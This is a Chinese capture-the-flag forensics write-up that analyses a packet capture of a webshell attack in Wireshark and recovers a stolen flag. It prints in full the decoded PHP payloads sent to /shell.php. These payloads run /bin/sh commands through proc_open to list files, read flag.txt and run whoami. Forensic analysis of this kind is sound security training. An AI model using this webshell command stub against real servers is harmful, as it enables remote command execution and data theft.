题目描述
flag被盗,赶紧溯源~
题目文件
key.pcapng:https://pan.baidu.com/s/1kVyyCbt
解题步骤
使用wireshark打开key.pcapng数据包文件
既然是flag被盗,那么我们想到的首先就是通过正常的WEB请求来获取flag信息,所以直接过滤HTTP协议
从上面我们可以看到\\”/shell.php\\”的请求路径,之后直接跟踪当前HTTP的POST请求数据流
之后我们可以看到第一个请求执行了一条通过base64解码后的命令,这里我们对其进行解码操作,首先进行一次URL解码(去除中间%2F、%2B之类的转移字符)
之后进行一次base64解密操作:
解密后的最终信息如下:
@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;ls;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();
从上面可以看到关键的操作是执行了一次列目录查询,在WireShark中跟踪流显示如下:
紧接着我们看第二个请求数据包
通过使用同样的操作进行解码
可以看到这里进行了一次关键的cat flag.txt操作:
@ini_set(\\\"display_errors\\\",\\\"0\\\");@set_time_limit(0);if(PHP_VERSION<\\\'5.3.0\\\'){@set_magic_quotes_runtime(0);};echo(\\\"X@Y\\\");$m=get_magic_quotes_gpc();$p=\\\'/bin/sh\\\';$s=\\\'cd /var/www/html/;cat flag.txt;echo [S];pwd;echo [E]\\\';$d=dirname($_SERVER[\\\"SCRIPT_FILENAME\\\"]);$c=substr($d,0,1)==\\\"/\\\"?\\\"-c \\\\\\\"{$s}\\\\\\\"\\\":\\\"/c \\\\\\\"{$s}\\\\\\\"\\\";$r=\\\"{$p} {$c}\\\";$array=array(array(\\\"pipe\\\",\\\"r\\\"),array(\\\"pipe\\\",\\\"w\\\"),array(\\\"pipe\\\",\\\"w\\\"));$fp=proc_open($r.\\\" 2>&1\\\",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo(\\\"X@Y\\\");die();
在WireShark中展示如下,并从中获取flag信息(注意:此处需要去除前面的\\”echo(\\”X@Y\\”);\\”打印的X@Y字符串)
flag{This_is_a_f10g}
使用同样的方法我们对三个请求数据包进行解包后可以看到这里执行了一个\\”whoami\\”
在wireshark中的数据如下:
快速解题
如果仅站在解题的角度我们可以使用以下两种方法快速来获取flag:
方法一:直接过滤包中包含\\”flag\\”字眼的数据包
http contains \\\"flag\\\"
方法二:直接使用notepad++以文本的形式打开检索\\”flag\\”即可
文末小结
本题目的描述虽然是\\”flag被盗,赶紧溯源~\\”,但是从数据包中我们仅可以看到攻击者IP为192.168.228.1,初次之外并未获取什么有关的信息,包括:攻击者使用的攻击手法,一上来就是连接webshell,但是由于该题目毕竟是一个CTF题目,以获取flag为主,所以勉强也还行~
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34097.html